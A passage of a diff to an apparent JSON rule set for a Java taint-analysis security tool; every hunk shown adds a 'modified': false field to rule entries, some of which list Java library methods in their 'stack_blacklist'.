"source": "P2", "stack_blacklist": [], "system_type": 1, @@ -10348,6 +11015,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -10366,6 +11034,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -10384,6 +11053,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -10402,6 +11072,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -10427,6 +11098,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10452,6 +11124,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10470,6 +11143,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10488,6 +11162,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10506,6 +11181,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10524,6 +11200,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10542,6 +11219,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10560,6 +11238,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10578,6 +11257,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -10603,6 +11283,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -10628,6 +11309,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10646,6 +11328,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -10664,6 +11347,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -10689,6 +11373,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -10714,6 +11399,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10741,6 +11427,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10759,6 +11446,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10777,6 +11465,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10797,6 +11486,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10817,6 +11507,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -10842,6 +11533,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10864,6 +11556,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10886,6 +11579,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10908,6 +11602,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10930,6 +11625,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10952,6 +11648,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10974,6 +11671,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10996,6 +11694,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11018,6 +11717,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11040,6 +11740,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11062,6 +11763,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11084,6 +11786,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11106,6 +11809,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11128,6 +11832,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11151,6 +11856,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11173,6 +11879,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11195,6 +11902,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11217,6 +11925,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11239,6 +11948,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11261,6 +11971,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -11283,6 +11994,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11305,6 +12017,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11327,6 +12040,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11349,6 +12063,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11371,6 +12086,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11393,6 +12109,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11415,6 +12132,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11437,6 +12155,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11459,6 +12178,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11481,6 +12201,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11503,6 +12224,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11525,6 +12247,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11547,6 +12270,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -11569,6 +12293,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -11591,6 +12316,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11620,6 +12346,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -11638,6 +12365,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [ "org.owasp.esapi.reference.DefaultValidator.isValidDirectoryPath", @@ -11659,6 +12387,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -11677,6 +12406,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11695,6 +12425,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -11713,6 +12444,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11731,6 +12463,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -11749,6 +12482,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11767,6 +12501,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11792,6 +12527,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [ "org.springframework.web.util.UriComponentsBuilder.fromOriginHeader", @@ -11813,6 +12549,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11838,6 +12575,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -11856,6 +12594,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11874,6 +12613,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11892,6 +12632,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11910,6 +12651,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11928,6 +12670,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -11946,6 +12689,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -11964,6 +12708,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2,3", "stack_blacklist": [], "system_type": 1, @@ -11982,6 +12727,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12000,6 +12746,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12018,6 +12765,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12036,6 +12784,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -12054,6 +12803,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2,3", "stack_blacklist": [], "system_type": 1, @@ -12072,6 +12822,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12090,6 +12841,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12108,6 +12860,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12126,6 +12879,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12144,6 +12898,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12162,6 +12917,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12180,6 +12936,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12198,6 +12955,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12216,6 +12974,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12234,6 +12993,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12252,6 +13012,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12270,6 +13031,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12288,6 +13050,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12306,6 +13069,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12324,6 +13088,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [ "OutSupport.writeEscapedXml" @@ -12344,6 +13109,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12362,6 +13128,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12380,6 +13147,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12398,6 +13166,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12416,6 +13185,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12434,6 +13204,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12452,6 +13223,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12470,6 +13242,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12488,6 +13261,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12506,6 +13280,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12524,6 +13299,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P3", "stack_blacklist": [], "system_type": 1, @@ -12542,6 +13318,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12560,6 +13337,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12578,6 +13356,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12596,6 +13375,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12614,6 +13394,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12639,6 +13420,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [ "java.net.URL.getURLStreamHandler" @@ -12666,6 +13448,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -12684,6 +13467,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -12702,6 +13486,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -12727,6 +13512,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12745,6 +13531,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -12763,6 +13550,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -12781,6 +13569,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12799,6 +13588,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12817,6 +13607,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -12835,6 +13626,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12853,6 +13645,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -12871,6 +13664,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -12889,6 +13683,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -12907,6 +13702,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -12925,6 +13721,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12943,6 +13740,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -12961,6 +13759,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -12979,6 +13778,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -12997,6 +13797,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13015,6 +13816,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -13033,6 +13835,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13051,6 +13854,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -13069,6 +13873,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -13087,6 +13892,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -13105,6 +13911,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -13130,6 +13937,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13148,6 +13956,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13173,6 +13982,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2,3", "stack_blacklist": [], "system_type": 1, @@ -13191,6 +14001,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2,3,4", "stack_blacklist": [], "system_type": 1, @@ -13209,6 +14020,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2,3,4", "stack_blacklist": [], "system_type": 1, @@ -13227,6 +14039,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13249,6 +14062,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13271,6 +14085,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13293,6 +14108,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13315,6 +14131,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13337,6 +14154,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13359,6 +14177,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13381,6 +14200,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13403,6 +14223,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13425,6 +14246,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13447,6 +14269,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13469,6 +14292,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13491,6 +14315,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13513,6 +14338,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13535,6 +14361,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13557,6 +14384,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13579,6 +14407,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13601,6 +14430,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13623,6 +14453,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13645,6 +14476,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13667,6 +14499,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13689,6 +14522,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13711,6 +14545,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13733,6 +14568,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13755,6 +14591,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13777,6 +14614,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13799,6 +14637,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13821,6 +14660,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13843,6 +14683,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13872,6 +14713,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13890,6 +14732,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13908,6 +14751,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13926,6 +14770,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13944,6 +14789,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13962,6 +14808,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13980,6 +14827,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -13998,6 +14846,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14016,6 +14865,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14034,6 +14884,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14052,6 +14903,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14070,6 +14922,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14088,6 +14941,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14106,6 +14960,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14124,6 +14979,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14142,6 +14998,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14160,6 +15017,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14178,6 +15036,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14196,6 +15055,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14214,6 +15074,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14232,6 +15093,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14250,6 +15112,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14268,6 +15131,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [ "org.mariadb.jdbc.MariaDbConnection.setAutoCommit" @@ -14288,6 +15152,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 